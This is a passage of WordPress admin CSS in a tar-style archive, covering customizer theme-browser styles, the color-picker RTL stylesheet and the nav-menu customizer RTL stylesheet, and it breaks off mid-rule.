.customize-themes-mobile-back:before{left:0;top:0;height:46px;width:26px;display:block;line-height:2.3;padding:0 8px;border-right:1px solid #dcdcde}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus,.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover{background:#f6f7f7;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.showing-themes #customize-header-actions{display:none}#customize-controls{width:100%}}.wp-customizer .theme-overlay{display:none}.wp-customizer.modal-open .theme-overlay{position:fixed;left:0;top:0;right:0;bottom:0;z-index:109}.wp-customizer.modal-open #customize-header-actions,.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after,.wp-customizer.modal-open .control-panel-themes .filter-themes-count{z-index:-1}.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-overlay .theme-backdrop{background:rgba(240,240,241,.75);position:fixed;z-index:110}.wp-customizer .theme-overlay .star-rating{float:left;margin-right:8px}.wp-customizer .theme-rating .num-ratings{line-height:20px}.wp-customizer .theme-overlay .theme-wrap{left:90px;right:90px;top:45px;bottom:45px;z-index:120}.wp-customizer .theme-overlay .theme-actions{text-align:right;padding:10px 25px 5px;background:#f0f0f1;border-top:1px solid #dcdcde}.wp-customizer .theme-overlay .theme-actions .theme-install.preview{margin-left:8px}.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content{overflow:visible}.wp-customizer .theme-header{background:#f0f0f1}.wp-customizer .theme-overlay .theme-header .close:before,.wp-customizer .theme-overlay .theme-header button{color:#3c434a}.wp-customizer .theme-overlay .theme-header .close:focus,.wp-customizer .theme-overlay .theme-header .close:hover,.wp-customizer .theme-overlay .theme-header .left:focus,.wp-customizer .theme-overlay .theme-header .left:hover,.wp-customizer .theme-overlay .theme-header .right:focus,.wp-customizer .theme-overlay .theme-header .right:hover{background:#fff}.wp-customizer .theme-overlay .theme-header .close:focus:before,.wp-customizer .theme-overlay .theme-header .close:hover:before{color:var(--wp-admin-theme-color)}.wp-customizer .theme-overlay .theme-header button.disabled,.wp-customizer .theme-overlay .theme-header button.disabled:focus,.wp-customizer .theme-overlay .theme-header button.disabled:hover{border-bottom:none;background:0 0;color:#c3c4c7}@media (max-width:850px),(max-height:472px){.wp-customizer .theme-overlay .theme-wrap{left:0;right:0;top:0;bottom:0}.wp-customizer .theme-browser .themes{padding-right:25px}}body.cheatin{font-size:medium;height:auto;background:#fff;border:1px solid #c3c4c7;margin:50px auto 2em;padding:1em 2em;max-width:700px;min-width:0;box-shadow:0 1px 1px rgba(0,0,0,.04)}body.cheatin h1{border-bottom:1px solid #dcdcde;clear:both;color:#50575e;font-size:24px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:30px 0 0;padding:0 0 7px}body.cheatin p{font-size:14px;line-height:1.5;margin:25px 0 20px}#customize-theme-controls .add-new-menu-item,#customize-theme-controls .add-new-widget{cursor:pointer;float:right;margin:0 0 0 10px;transition:all .2s;-webkit-user-select:none;user-select:none;outline:0}.reordering .add-new-menu-item,.reordering .add-new-widget{opacity:.2;pointer-events:none;cursor:not-allowed}#available-menu-items .new-content-item .add-content:before,.add-new-menu-item:before,.add-new-widget:before{content:"\f132";content:"\f132"/'';display:inline-block;position:relative;left:-2px;top:0;font:normal 20px/1 dashicons;vertical-align:middle;transition:all .2s;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.reorder-toggle{float:right;padding:5px 8px;text-decoration:none;cursor:pointer;outline:0}.reorder,.reordering .reorder-done{display:block;padding:5px 8px}.reorder-done,.reordering .reorder{display:none}.menu-item-reorder-nav button,.widget-reorder-nav span{position:relative;overflow:hidden;float:left;display:block;width:33px;height:43px;color:#8c8f94;text-indent:-9999px;cursor:pointer;outline:0}.menu-item-reorder-nav button{width:30px;height:40px;background:0 0;border:none;box-shadow:none}.menu-item-reorder-nav button:before,.widget-reorder-nav span:before{display:inline-block;position:absolute;top:0;right:0;width:100%;height:100%;font:normal 20px/43px dashicons;text-align:center;text-indent:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-reorder-nav button:focus,.menu-item-reorder-nav button:hover,.widget-reorder-nav span:focus,.widget-reorder-nav span:hover{color:#1d2327;background:#f0f0f1}.menus-move-down:before,.move-widget-down:before{content:"\f347";content:"\f347"/''}.menus-move-up:before,.move-widget-up:before{content:"\f343";content:"\f343"/''}#customize-theme-controls .first-widget .move-widget-up,#customize-theme-controls .last-widget .move-widget-down,.move-down-disabled .menus-move-down,.move-left-disabled .menus-move-left,.move-right-disabled .menus-move-right,.move-up-disabled .menus-move-up{color:#dcdcde;background-color:#fff;cursor:default;pointer-events:none}.wp-full-overlay-main{right:auto;width:100%}.add-menu-toggle.open,.add-menu-toggle.open:hover,.adding-menu-items .add-new-menu-item,.adding-menu-items .add-new-menu-item:hover,body.adding-widget .add-new-widget,body.adding-widget .add-new-widget:hover{background:#f0f0f1;border-color:#8c8f94;color:#2c3338;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#accordion-section-add_menu .add-new-menu-item.open:before,.adding-menu-items .add-new-menu-item:before,body.adding-widget .add-new-widget:before{transform:rotate(45deg)}#available-menu-items,#available-widgets{position:absolute;top:0;bottom:0;left:-301px;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:300px;margin:0;z-index:4;background:#f0f0f1;transition:left .18s;border-right:1px solid #dcdcde}#available-menu-items .accordion-section-title,#available-widgets .accordion-section-title{z-index:2}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}#available-menu-items .customize-section-title button,#available-widgets .customize-section-title button{display:none}#available-widgets-list{top:82px;position:absolute;overflow:auto;bottom:0;width:100%;border-top:1px solid #dcdcde}.no-widgets-found #available-widgets-list{border-top:none}#available-widgets-filter{position:fixed;top:0;z-index:1;width:300px;background:#f0f0f1}#available-menu-items-search .accordion-section-title,#available-widgets-filter{padding:13px 15px;box-sizing:border-box}#available-menu-items-search input,#available-widgets-filter input{width:100%;min-height:40px;margin:1px 0;padding:0 30px}#available-menu-items-search input::-ms-clear,#available-widgets-filter input::-ms-clear{display:none}#available-menu-items-search .search-icon,#available-widgets-filter .search-icon{display:block;position:absolute;bottom:19px;left:16px;width:30px;height:30px;line-height:2.1;text-align:center;color:#646970}#available-menu-items-search .accordion-section-title .clear-results,#available-widgets-filter .clear-results{position:absolute;top:40px;right:16px;width:30px;height:30px;padding:0;border:0;cursor:pointer;background:0 0;color:#d63638;text-decoration:none;outline:0}#available-menu-items-search .clear-results,#available-menu-items-search.loading .clear-results.is-visible,#available-widgets-filter .clear-results{display:none}#available-menu-items-search .clear-results.is-visible,#available-widgets-filter .clear-results.is-visible{display:block}#available-menu-items-search .clear-results:before,#available-widgets-filter .clear-results:before{content:"\f335";content:"\f335"/'';font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-menu-items-search .clear-results:focus,#available-menu-items-search .clear-results:hover,#available-widgets-filter .clear-results:focus,#available-widgets-filter .clear-results:hover{color:#d63638}#available-menu-items-search .clear-results:focus,#available-widgets-filter .clear-results:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#available-menu-items-search .search-icon:after,#available-widgets-filter .search-icon:after,.themes-filter-bar .search-icon:after{content:"\f179";font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .search-icon{position:absolute;top:2px;left:2px;z-index:1;color:#646970;height:30px;width:30px;line-height:2;text-align:center}.no-widgets-found-message{display:none;margin:0;padding:0 15px;line-height:inherit}.no-widgets-found .no-widgets-found-message{display:block}#available-menu-items .item-top,#available-menu-items .item-top:hover,#available-widgets .widget-top,#available-widgets .widget-top:hover{border:none;background:0 0;box-shadow:none}#available-menu-items .item-tpl,#available-widgets .widget-tpl{position:relative;padding:15px 15px 15px 60px;background:#fff;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;cursor:pointer;display:none}#available-menu-items .item,#available-widgets .widget{position:static}.customize-controls-preview-toggle{display:none}@media only screen and (max-width:782px){.wp-customizer .theme:not(.active):focus .theme-actions,.wp-customizer .theme:not(.active):hover .theme-actions{display:block}.wp-customizer .theme-browser .theme.active .theme-name span{display:inline}.customize-control-header button.random .dice{margin-top:0}.customize-control-checkbox .customize-inside-control-row,.customize-control-nav_menu_auto_add .customize-inside-control-row,.customize-control-radio .customize-inside-control-row{margin-left:32px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-left:-32px}.customize-control input[type=checkbox]+label+br,.customize-control input[type=radio]+label+br{line-height:2.5}.customize-control .date-time-fields select{height:39px}.date-time-fields .date-input.month{width:79px}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:55px}.date-time-fields .date-input.year{width:80px}#customize-control-changeset_preview_link a{bottom:16px}.media-widget-control .media-widget-buttons .button.change-media,.media-widget-control .media-widget-buttons .button.edit-media,.media-widget-control .media-widget-buttons .button.select-media{margin-top:12px}.customize-preview-header.themes-filter-bar .search-icon{top:6px}}@media screen and (max-width:1200px){.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main{left:67%}}@media screen and (max-width:640px){.wp-full-overlay.collapsed #customize-controls{margin-left:0}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{bottom:0}.customize-controls-preview-toggle{display:block;position:absolute;top:0;left:48px;line-height:2.6;font-size:14px;padding:0 12px 4px;margin:0;height:45px;background:#f0f0f1;border:0;border-right:1px solid #dcdcde;border-top:4px solid #f0f0f1;color:#50575e;cursor:pointer;transition:color .1s ease-in-out,background .1s ease-in-out}#customize-footer-actions,.customize-controls-preview-toggle .controls,.preview-only .customize-controls-preview-toggle .preview,.preview-only .wp-full-overlay-sidebar-content{display:none}.preview-only #customize-save-button-wrapper{margin-top:-46px}.customize-controls-preview-toggle .controls:before,.customize-controls-preview-toggle .preview:before{font:normal 20px/1 dashicons;content:"\f177";content:"\f177"/'';position:relative;top:4px;margin-right:6px}.customize-controls-preview-toggle .controls:before{content:"\f540";content:"\f540"/''}.preview-only #customize-controls{height:45px}.preview-only #customize-preview,.preview-only .customize-controls-preview-toggle .controls{display:block}.wp-core-ui.wp-customizer .button{padding:0 14px;line-height:2.14285714;font-size:14px;vertical-align:middle}.customize-control .attachment-media-view .upload-button{text-align:center}#customize-control-changeset_status .customize-inside-control-row{padding-top:15px}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{width:100%}#available-menu-items .customize-section-title,#available-widgets .customize-section-title{border:0;clip-path:none;height:inherit;margin:0;overflow:hidden;padding:0;width:auto;position:static}#available-menu-items .customize-section-title button,#available-widgets .customize-section-title button{display:block}#available-menu-items .customize-section-back,#available-widgets .customize-section-back{height:69px}#available-menu-items .customize-section-title h3,#available-widgets .customize-section-title h3{font-size:20px;font-weight:200;padding:9px 10px 12px 14px;margin:0;line-height:24px;color:#50575e;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-menu-items .customize-section-title .customize-action,#available-widgets .customize-section-title .customize-action{font-size:13px;display:block;font-weight:400;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#available-widgets-filter{position:relative;width:100%;height:auto}#available-widgets-list{top:152px}#available-menu-items-search .clear-results{top:40px;right:16px}.reorder,.reordering .reorder-done{padding:8px}}@media screen and (max-width:600px){.wp-full-overlay.expanded{margin-left:0}body.adding-menu-items div#available-menu-items,body.adding-widget div#available-widgets,body.outer-section-open div#customize-sidebar-outer-content{top:46px;z-index:10}body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content{left:-100%}body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{left:0}} css/color-picker-rtl.css 0000644 00000007565 15233246127 0011260 0 ustar 00 /*! This file is auto-generated */ /* rtl:ignore */ .wp-color-picker { width: 80px; direction: ltr; } .wp-picker-container .hidden { display: none; } /* Needs higher specificity to override `.wp-core-ui .button`. */ .wp-picker-container .wp-color-result.button { min-height: 32px; margin: 0 0 6px 6px; padding: 0 30px 0 0; font-size: 11px; } .wp-color-result-text { background: #f6f7f7; border-radius: 2px 0 0 2px; border-right: 1px solid #c3c4c7; color: #50575e; display: block; line-height: 2.72727273; /* 30px */ padding: 0 6px; text-align: center; } .wp-color-result:hover, .wp-color-result:focus { background: #f6f7f7; border-color: #8c8f94; color: #1d2327; } .wp-color-result:hover:after, .wp-color-result:focus:after { color: #1d2327; border-color: #a7aaad; border-right: 1px solid #8c8f94; } .wp-picker-container { display: inline-block; } .wp-color-result:focus { border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .wp-color-result:active { /* See Trac ticket #39662 */ transform: none !important; } .wp-picker-open + .wp-picker-input-wrap { display: inline-block; vertical-align: top; } .wp-picker-input-wrap label { display: inline-block; vertical-align: top; } /* For the old `custom-background` page, to override the inline-block and margins from `.form-table td fieldset label`. */ .form-table .wp-picker-input-wrap label { margin: 0 !important; } .wp-picker-input-wrap .button.wp-picker-default, .wp-picker-input-wrap .button.wp-picker-clear, .wp-customizer .wp-picker-input-wrap .button.wp-picker-default, .wp-customizer .wp-picker-input-wrap .button.wp-picker-clear { margin-right: 6px; padding: 0 8px; line-height: 2.72727273; /* 30px */ min-height: 32px; } .wp-picker-container .iris-square-slider .ui-slider-handle:focus { background-color: #50575e } .wp-picker-container .iris-picker { border-radius: 0; border-color: #dcdcde; margin-top: 6px; } .wp-picker-container input[type="text"].wp-color-picker { width: 4rem; font-size: 12px; font-family: monospace; margin: 0; padding: 0 5px; vertical-align: top; min-height: 32px; } .wp-color-picker::-webkit-input-placeholder { color: #646970; } .wp-color-picker::-moz-placeholder { color: #646970; } .wp-picker-container input[type="text"].iris-error { background-color: #fcf0f1; border-color: #d63638; color: #000; } .iris-picker .ui-square-handle:focus, .iris-picker .iris-strip .ui-slider-handle:focus { border-color: var(--wp-admin-theme-color, #3858e9); border-style: solid; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); outline: 2px solid transparent; } .iris-picker .iris-palette:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); } @media screen and (max-width: 782px) { .wp-picker-container input[type="text"].wp-color-picker { width: 5rem; font-size: 16px; line-height: 1.875; /* 30px */ min-height: 32px; } .wp-customizer .wp-picker-container input[type="text"].wp-color-picker { padding: 0 5px; } .wp-picker-input-wrap .button.wp-picker-default, .wp-picker-input-wrap .button.wp-picker-clear { padding: 0 8px; line-height: 2.14285714; /* 30px */ min-height: 32px; } .wp-customizer .wp-picker-input-wrap .button.wp-picker-default, .wp-customizer .wp-picker-input-wrap .button.wp-picker-clear { padding: 0 8px; font-size: 14px; line-height: 2.14285714; /* 30px */ min-height: 32px; } .wp-picker-container .wp-color-result.button { padding: 0 40px 0 0; font-size: 14px; line-height: 2.14285714; /* 30px */ } .wp-customizer .wp-picker-container .wp-color-result.button { font-size: 14px; line-height: 2.14285714; /* 30px */ } .wp-picker-container .wp-color-result-text { padding: 0 14px; font-size: inherit; line-height: inherit; } .wp-customizer .wp-picker-container .wp-color-result-text { padding: 0 10px; } } css/customize-nav-menus-rtl.css 0000644 00000054206 15233246127 0012612 0 ustar 00 /*! This file is auto-generated */ #customize-theme-controls #accordion-section-menu_locations { position: relative; margin-top: 30px; } #customize-theme-controls #accordion-section-menu_locations > .accordion-section-title { border-bottom-color: #dcdcde; margin-top: 15px; } #customize-theme-controls .customize-section-title-nav_menus-heading, #customize-theme-controls .customize-section-title-menu_locations-heading, #customize-theme-controls .customize-section-title-menu_locations-description { padding: 0 12px; } #customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description { /* Override the default italic style for control descriptions */ font-style: normal; } .menu-in-location, .menu-in-locations { display: block; font-weight: 600; font-size: 10px; } #customize-controls .theme-location-set, #customize-controls .control-section .accordion-section-title:focus .menu-in-location, #customize-controls .control-section .accordion-section-title:hover .menu-in-location { color: #50575e; } /* The `edit-menu` and `create-menu` buttons also use the `button-link` class. */ .customize-control-nav_menu_location .edit-menu, .customize-control-nav_menu_location .create-menu { margin-right: 6px; vertical-align: middle; line-height: 2.2; } #customize-controls .customize-control-nav_menu_name { margin-bottom: 12px; } .customize-control-nav_menu_name p:last-of-type { margin-bottom: 0; } #customize-new-menu-submit { float: left; min-width: 85px; } .wp-customizer .menu-item-bar .menu-item-handle, .wp-customizer .menu-item-settings, .wp-customizer .menu-item-settings .description-thin { box-sizing: border-box; } .wp-customizer .menu-item-bar { margin: 0; } .wp-customizer .menu-item-bar .menu-item-handle { width: 100%; max-width: 100%; background: #fff; } .wp-customizer .menu-item-handle .item-title { margin-left: 0; } .wp-customizer .menu-item-handle .item-type { padding: 1px 5px 0 21px; float: left; text-align: left; } .wp-customizer .menu-item-handle:hover { z-index: 8; } .customize-control-nav_menu_item.has-notifications .menu-item-handle { border-right: 4px solid #72aee6; } .wp-customizer .menu-item-settings { max-width: 100%; overflow: hidden; z-index: 8; padding: 10px; background: #f0f0f1; border: 1px solid #8c8f94; border-top: none; } .wp-customizer .menu-item-settings .description-thin { width: 100%; height: auto; margin: 0 0 8px; } .wp-customizer .menu-item-settings input[type="text"] { width: 100%; } .wp-customizer .menu-item-settings .submitbox { margin: 0; padding: 0; } .wp-customizer .menu-item-settings .link-to-original { padding: 5px 0; border: none; font-style: normal; margin: 0; width: 100%; } .wp-customizer .menu-item .submitbox .submitdelete { float: right; margin: 6px 0 0; padding: 0; cursor: pointer; } /** * Menu items reordering styles */ .menu-item-reorder-nav { display: none; background-color: #fff; position: absolute; top: 0; left: 0; } .menus-move-left:before { content: "\f345"; content: "\f341" / ''; } .menus-move-right:before { content: "\f341"; content: "\f345" / ''; } .reordering .menu-item .item-controls, .reordering .menu-item .item-type { display: none; } .reordering .menu-item-reorder-nav { display: block; } .customize-control input.menu-name-field { width: 100%; /* Override the 98% default for customizer inputs, to align with the size of menu items. */ } .wp-customizer .menu-item .item-edit { position: absolute; left: -19px; top: 2px; display: block; width: 30px; height: 38px; margin-left: 0 !important; box-shadow: none; outline: none; overflow: hidden; cursor: pointer; text-align: center; } .wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before { content: "\f142"; content: "\f142" / ''; } .wp-customizer .menu-item-settings p.description { font-style: normal; } .wp-customizer .menu-settings dl { margin: 12px 0 0; padding: 0; } .wp-customizer .menu-settings .checkbox-input { margin-top: 8px; } .wp-customizer .menu-settings .menu-theme-locations { border-top: 1px solid #c3c4c7; } .wp-customizer .menu-settings { margin-top: 36px; border-top: none; } .wp-customizer .menu-location-settings { margin-top: 12px; border-top: none; } .wp-customizer .control-section-nav_menu .menu-location-settings { margin-top: 24px; border-top: 1px solid #dcdcde; } .wp-customizer .control-section-nav_menu .menu-location-settings, .customize-control-nav_menu_auto_add { padding-top: 12px; } .menu-location-settings .customize-control-checkbox .theme-location-set { line-height: 1; } .customize-control-nav_menu_auto_add label { vertical-align: top; } .menu-location-settings .new-menu-locations-widget-note { display: block; } .customize-control-menu { margin-top: 4px; } #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle { color: #50575e; } /* Screen Options */ .customize-screen-options-toggle { background: none; border: none; color: #50575e; cursor: pointer; margin: 0; padding: 20px; position: absolute; left: 0; top: 30px; } #customize-controls .customize-info .customize-help-toggle { padding: 20px; } #customize-controls .customize-info .customize-help-toggle:before { padding: 4px; } .customize-screen-options-toggle:hover, .customize-screen-options-toggle:active, .customize-screen-options-toggle:focus, .active-menu-screen-options .customize-screen-options-toggle, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: var(--wp-admin-theme-color); } .customize-screen-options-toggle:focus, #customize-controls .customize-info .customize-help-toggle:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-screen-options-toggle:before { -moz-osx-font-smoothing: grayscale; border: none; content: "\f111"; content: "\f111" / ''; display: block; font: 18px/1 dashicons; padding: 5px; text-align: center; text-decoration: none !important; text-indent: 0; right: 6px; position: absolute; top: 6px; } .customize-screen-options-toggle:focus:before, #customize-controls .customize-info .customize-help-toggle:focus:before { border-radius: 100%; } .wp-customizer #screen-options-wrap { display: none; background: #fff; border-top: 1px solid #dcdcde; padding: 4px 15px 15px; } .wp-customizer .metabox-prefs label { display: block; padding-left: 0; line-height: 30px; } /* rework the arrow indicator implementation for NVDA bug same as #32715 */ .wp-customizer .toggle-indicator { display: inline-block; font-size: 20px; line-height: 1; } .rtl .wp-customizer .toggle-indicator { text-indent: 1px; /* account for the dashicon alignment */ } .wp-customizer .menu-item .item-edit .toggle-indicator:before, #available-menu-items .accordion-section-title .toggle-indicator:before { content: "\f140"; content: "\f140" / ''; display: block; padding: 1px 0 1px 2px; border-radius: 50%; color: #787c82; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; } .control-section-nav_menu .field-link-target, .control-section-nav_menu .field-title-attribute, .control-section-nav_menu .field-css-classes, .control-section-nav_menu .field-xfn, .control-section-nav_menu .field-description { display: none; } .control-section-nav_menu.field-link-target-active .field-link-target, .control-section-nav_menu.field-title-attribute-active .field-title-attribute, .control-section-nav_menu.field-css-classes-active .field-css-classes, .control-section-nav_menu.field-xfn-active .field-xfn, .control-section-nav_menu.field-description-active .field-description { display: block; } /* WARNING: The 20px factor is hard-coded in JS. */ .menu-item-depth-0 { margin-right: 0; } .menu-item-depth-1 { margin-right: 20px; } .menu-item-depth-2 { margin-right: 40px; } .menu-item-depth-3 { margin-right: 60px; } .menu-item-depth-4 { margin-right: 80px; } .menu-item-depth-5 { margin-right: 100px; } .menu-item-depth-6 { margin-right: 120px; } .menu-item-depth-7 { margin-right: 140px; } .menu-item-depth-8 { margin-right: 160px; } /* Not likely to be used or useful beyond this depth */ .menu-item-depth-9 { margin-right: 180px; } .menu-item-depth-10 { margin-right: 200px; } .menu-item-depth-11 { margin-right: 220px; } /* @todo handle .menu-item-settings width */ .menu-item-depth-0 > .menu-item-bar { margin-left: 0; } .menu-item-depth-1 > .menu-item-bar { margin-left: 20px; } .menu-item-depth-2 > .menu-item-bar { margin-left: 40px; } .menu-item-depth-3 > .menu-item-bar { margin-left: 60px; } .menu-item-depth-4 > .menu-item-bar { margin-left: 80px; } .menu-item-depth-5 > .menu-item-bar { margin-left: 100px; } .menu-item-depth-6 > .menu-item-bar { margin-left: 120px; } .menu-item-depth-7 > .menu-item-bar { margin-left: 140px; } .menu-item-depth-8 > .menu-item-bar { margin-left: 160px; } .menu-item-depth-9 > .menu-item-bar { margin-left: 180px; } .menu-item-depth-10 > .menu-item-bar { margin-left: 200px; } .menu-item-depth-11 > .menu-item-bar { margin-left: 220px; } /* Submenu left margin. */ .menu-item-depth-0 .menu-item-transport { margin-right: 0; } .menu-item-depth-1 .menu-item-transport { margin-right: -20px; } .menu-item-depth-3 .menu-item-transport { margin-right: -60px; } .menu-item-depth-4 .menu-item-transport { margin-right: -80px; } .menu-item-depth-2 .menu-item-transport { margin-right: -40px; } .menu-item-depth-5 .menu-item-transport { margin-right: -100px; } .menu-item-depth-6 .menu-item-transport { margin-right: -120px; } .menu-item-depth-7 .menu-item-transport { margin-right: -140px; } .menu-item-depth-8 .menu-item-transport { margin-right: -160px; } .menu-item-depth-9 .menu-item-transport { margin-right: -180px; } .menu-item-depth-10 .menu-item-transport { margin-right: -200px; } .menu-item-depth-11 .menu-item-transport { margin-right: -220px; } /* WARNING: The 20px factor is hard-coded in JS. */ .reordering .menu-item-depth-0 { margin-right: 0; } .reordering .menu-item-depth-1 { margin-right: 15px; } .reordering .menu-item-depth-2 { margin-right: 30px; } .reordering .menu-item-depth-3 { margin-right: 45px; } .reordering .menu-item-depth-4 { margin-right: 60px; } .reordering .menu-item-depth-5 { margin-right: 75px; } .reordering .menu-item-depth-6 { margin-right: 90px; } .reordering .menu-item-depth-7 { margin-right: 105px; } .reordering .menu-item-depth-8 { margin-right: 120px; } /* Not likely to be used or useful beyond this depth */ .reordering .menu-item-depth-9 { margin-right: 135px; } .reordering .menu-item-depth-10 { margin-right: 150px; } .reordering .menu-item-depth-11 { margin-right: 165px; } .reordering .menu-item-depth-0 > .menu-item-bar { margin-left: 0; } .reordering .menu-item-depth-1 > .menu-item-bar { margin-left: 15px; } .reordering .menu-item-depth-2 > .menu-item-bar { margin-left: 30px; } .reordering .menu-item-depth-3 > .menu-item-bar { margin-left: 45px; } .reordering .menu-item-depth-4 > .menu-item-bar { margin-left: 60px; } .reordering .menu-item-depth-5 > .menu-item-bar { margin-left: 75px; } .reordering .menu-item-depth-6 > .menu-item-bar { margin-left: 90px; } .reordering .menu-item-depth-7 > .menu-item-bar { margin-left: 105px; } .reordering .menu-item-depth-8 > .menu-item-bar { margin-left: 120px; } .reordering .menu-item-depth-9 > .menu-item-bar { margin-left: 135px; } .reordering .menu-item-depth-10 > .menu-item-bar { margin-left: 150px; } .reordering .menu-item-depth-11 > .menu-item-bar { margin-left: 165px; } .control-section-nav_menu.menu .menu-item-edit-active { margin-right: 0; } .control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar { margin-left: 0; } .control-section-nav_menu.menu .sortable-placeholder { margin-top: 0; margin-bottom: 1px; max-width: calc(100% - 2px); float: right; display: list-item; border-color: #a7aaad; } .menu-item-transport li.customize-control { float: none; } .control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar { margin-top: 0; } /** * Add-menu-items mode */ .adding-menu-items .control-section { opacity: .4; } .adding-menu-items .control-panel.control-section, .adding-menu-items .control-section.open { opacity: 1; } .menu-item-bar .item-delete { color: #d63638; position: absolute; top: 2px; left: -19px; width: 30px; height: 38px; cursor: pointer; display: none; } .menu-item-bar .item-delete:before { content: "\f335"; content: "\f335" / ''; position: absolute; top: 9px; right: 5px; border-radius: 50%; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .menu-item-bar .item-delete:hover, .menu-item-bar .item-delete:focus { box-shadow: none; outline: none; color: #d63638; } .adding-menu-items .menu-item-bar .item-edit { display: none; } .adding-menu-items .menu-item-bar .item-delete { display: block; } /** * Styles for menu-item addition panel */ #available-menu-items.opening { overflow-y: hidden; /* avoid scrollbar jitter with animating heights */ } #available-menu-items #available-menu-items-search.open { height: 100%; border-bottom: none; } #available-menu-items .accordion-section-title { border-right: none; border-left: none; background: #fff; transition: background-color 0.15s; /* Reset the value inherited from the base .accordion-section-title style. Ticket #37589. */ -webkit-user-select: auto; user-select: auto; } #available-menu-items .open .accordion-section-title, #available-menu-items #available-menu-items-search .accordion-section-title { background: #f0f0f1; } /* rework the arrow indicator implementation for NVDA bug see #32715 */ #available-menu-items .accordion-section-title:after { content: none !important; } #available-menu-items .accordion-section-title:hover .toggle-indicator:before, #available-menu-items .button-link:hover .toggle-indicator:before, #available-menu-items .button-link:focus .toggle-indicator:before { color: #1d2327; } #available-menu-items .open .accordion-section-title .toggle-indicator:before { content: "\f142"; color: #1d2327; } #available-menu-items .available-menu-items-list { overflow-y: auto; max-height: 200px; /* This gets set in JS to fit the screen size, and based on # of sections. */ background: transparent; } #available-menu-items .accordion-section-title button .toggle-indicator { display: flex; align-items: center; width: 28px; height: 35px; position: absolute; top: 5px; left: 5px; box-shadow: none; outline: none; cursor: pointer; text-align: center; } #available-menu-items .accordion-section-title .no-items, #available-menu-items .cannot-expand .accordion-section-title .spinner, #available-menu-items .cannot-expand .accordion-section-title > button:not(#available-menu-items-search button.is-visible) { display: none; } #available-menu-items-search.cannot-expand .accordion-section-title .spinner { display: block; } #available-menu-items .cannot-expand .accordion-section-title .no-items { float: left; color: #50575e; font-weight: 400; margin-right: 5px; } #available-menu-items .accordion-section-content { max-height: 290px; margin: 0; padding: 0; position: relative; background: transparent; } #available-menu-items .accordion-section-content .available-menu-items-list { margin: 0 0 64px; padding: 1px 15px 15px; } #available-menu-items .accordion-section-content .available-menu-items-list:only-child { /* Types that do not support new items for the current user */ margin-bottom: 0; } #new-custom-menu-item .accordion-section-content { padding: 0 15px 15px; } #available-menu-items .menu-item-tpl { margin: 0; } #custom-menu-item-name.invalid, #custom-menu-item-url.invalid, .edit-menu-item-url.invalid, .menu-name-field.invalid, .menu-name-field.invalid:focus, #available-menu-items .new-content-item .create-item-input.invalid, #available-menu-items .new-content-item .create-item-input.invalid:focus { border: 1px solid #d63638; } #available-menu-items .menu-item-handle .item-type { padding-left: 0; } #available-menu-items .menu-item-handle .item-title { padding-right: 20px; } #available-menu-items .menu-item-handle { cursor: pointer; } #available-menu-items .menu-item-handle { box-shadow: none; margin-top: -1px; } #available-menu-items .menu-item-handle:hover { z-index: 1; } #available-menu-items .item-title h4 { padding: 0 0 5px; font-size: 14px; } #available-menu-items .item-add { position: absolute; top: 1px; right: 1px; color: #8c8f94; width: 30px; height: 38px; 